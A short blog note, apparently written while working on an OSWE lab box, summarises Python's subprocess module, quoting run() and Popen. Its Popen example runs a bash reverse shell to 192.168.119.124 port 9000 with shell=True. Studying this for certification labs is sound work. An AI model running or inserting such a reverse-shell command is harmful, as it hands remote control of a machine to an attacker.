Subprocess (For Python 3)

R3zk0n · October 2, 2025

Contents

    // Because I am so annoyed that I can’t get reverse shell for Concord OSWE box that I am doing research on Subprocess library

    Resources

    • Main Subprocess documentation: https://docs.python.org/3/library/subprocess.html

    The subprocess module allows you to spawn new processes, connect to their input/output/error pipes, and obtain their return codes.

    Subprocess.run() The recommended approach to invoking subprocesses is to use the run() function for all use cases it can handle.

    subprocess.run(args, *, stdin=None, input=None, stdout=None, stderr=None, capture_output=False, shell=False, cwd=None, timeout=None, check=False, encoding=None, errors=None, text=None, env=None, universal_newlines=None, **other_popen_kwargs)
    

    Subprocess.Popen The underlying process creation and management in this module is handled by the Popen class. It offers a lot of flexibility so that developers are able to handle the less common cases not covered by the convenience functions.

    Popen executes a child program in a new process.

    import subprocess
    
    # The command to be executed in the subprocess instance
    cmd = 'bash -i >& /dev/tcp/192.168.119.124/9000 0>&1'
    
    proc = subprocess.Popen(cmd ,bufsize=0, executable=None, stdin=None, stdout=subprocess.PIPE, stderr=subprocess.PIPE, preexec_fn=None, close_fds=True, shell=True)
    
    # Use Popen.communicate() to interact with the process, executing the command and reading from stdout and stderr
    out = str(proc.communicate(proc.stdout))
    

    image

    Twitter, Facebook